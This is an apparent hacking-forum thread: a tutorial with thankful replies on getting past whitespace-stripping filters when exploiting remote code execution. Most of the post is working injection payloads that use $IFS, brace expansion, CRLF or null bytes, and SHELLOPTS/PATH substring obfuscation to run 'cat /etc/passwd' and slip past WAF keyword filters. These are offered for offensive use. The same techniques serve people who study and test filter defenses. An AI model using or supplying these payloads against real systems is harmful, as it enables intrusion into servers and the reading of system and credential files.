

# Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Defeating whitespace limitations for RCE](#)

pop.pop.ret - November 28, 2016, 8:04 am

## Defeating Whitespace Limitations for RCE

### Introduction:

this is not a full-length tutorial on RCE, but rather just going to be a short guide that is going to be specifically detailing a few methods for defeating whitespace limitations when exploiting RCE Vulnerabilities. In the future I think I will write a full length tutorial on RCE exploitation with a bunch of private bypass methods.

If whitespace is stripped then it would prevent an attacker who wasn't dedicated from being able to execute any useful commands (they could still execute a simple command such as 'ls' or 'id' but they would not be able to use something like curl/wget to spawn a shell or view the contents of a specific file, etc). This will be detailing a bunch of techniques that you can employ when whitespace is being stripped in order to emulate whitespace (I'd suggest always trying %20 and + to begin with though)

For example, let's assume an attacker had a simple post-based RCE where it was passing user inputs through exec(); without any sanitization other than stripping whitespace, and they wanted to execute cat /etc/passwd in order to view the contents of the passwd file, the following command:

Code cat /etc/passwd would be changed to:

Code cat/etc/passwd which would prevent it from executing

### Methods:

Start with the basics, some servers will render CRLF as whitespace or a null-byte can simply be prevent the code from being applied which strips whitespace:

Code cat /etc/passwd%00 or:

Code cat%OD%OA/etc/passwd%OD%OA where OD/OA is actually 0D/0A (with zero's)

One of the most common methods to get around whitespace limitations is to use bash's internal field separator (IFS) to emulate whitespace, like so:

Code cat\$IFS/etc/passwd Expansion can also be used for internal field separator:

Code cat\${IFS}/etc/passwd

if Internal Field Separator is blocked, it's possible to create your own whitespace as a result of setting a var:

Code \$lol="\x20";cat\${lol}/etc/passwd Although a more elegant solution (if permitted) would be to use bash expansion tricks):

Code {cat,/etc/passwd}

of course terms like /etc/passwd may also trigger a waf response so its best to mix this up with other bypass techniques while testing, shellopts is a good one:

Code

```
${SHELLOPTS:3:1}at${IFS}${PATH:0:1}${SHELLOPTS:4:1}t${SHELLOPTS:3:1}${HOME:0:1}p${SHELLOPTS:2:1}sswdwith $IFS
```

Code

```
{{SHELLOPTS:3:1}at,{PATH:0:1}${SHELLOPTS:4:1}t${SHELLOPTS:3:1}${HOME:0:1}p${SHELLOPTS:2:1}sswd}with expansion
```

Code

```
$lol="\x20";${SHELLOPTS:3:1}at${lol}${PATH:0:1}${SHELLOPTS:4:1}t${SHELLOPTS:3:1}${HOME:0:1}p${SHELLOPTS:2:1}sswd}setting var to emulate whitespace
```

All of the above are equivalent to:

Code cat /etc/passwd

Hope you enjoyed, and I hope someone has learned something from this and will put it to good use :D

**Aveling** - November 28, 2016, 8:06 am

Thank you for writing this tutorial, I've learned something new. RCE is quite interesting I must say.

**pop.pop.ret** - November 28, 2016, 8:08 am

(Nov 28, 2016 09:06 AM)iNeo19 Wrote: [\[CITE\]](#) Thank you for writing this tutorial, I've learned something new. RCE is quite interesting I must say.

Thanks, nice to know :)

this tutorial was focused specifically on bypassing whitespace being stripped.. but I will soon be releasing a full-length tutorial on RCE. You may find it interesting.

**sancakli.ok** - November 28, 2016, 1:42 pm

another good tutorials..thanks man

**TheChi?f** - March 29, 2017, 4:24 am

Great tutorial, thanks for the effort.

**Beladonis** - March 29, 2017, 7:35 am

Oh nice I'm bookmarking this thread, it will come in handy soon or later

**TrackPro+** - March 30, 2017, 12:34 pm

Thanks for this tut and the explanations you provided us with

**ktmercedes** - March 30, 2017, 2:24 pm

Thank you for writing. very informative tutorial.

**Malik Ubi** - December 30, 2018, 7:07 am

Great one thanks for Sharing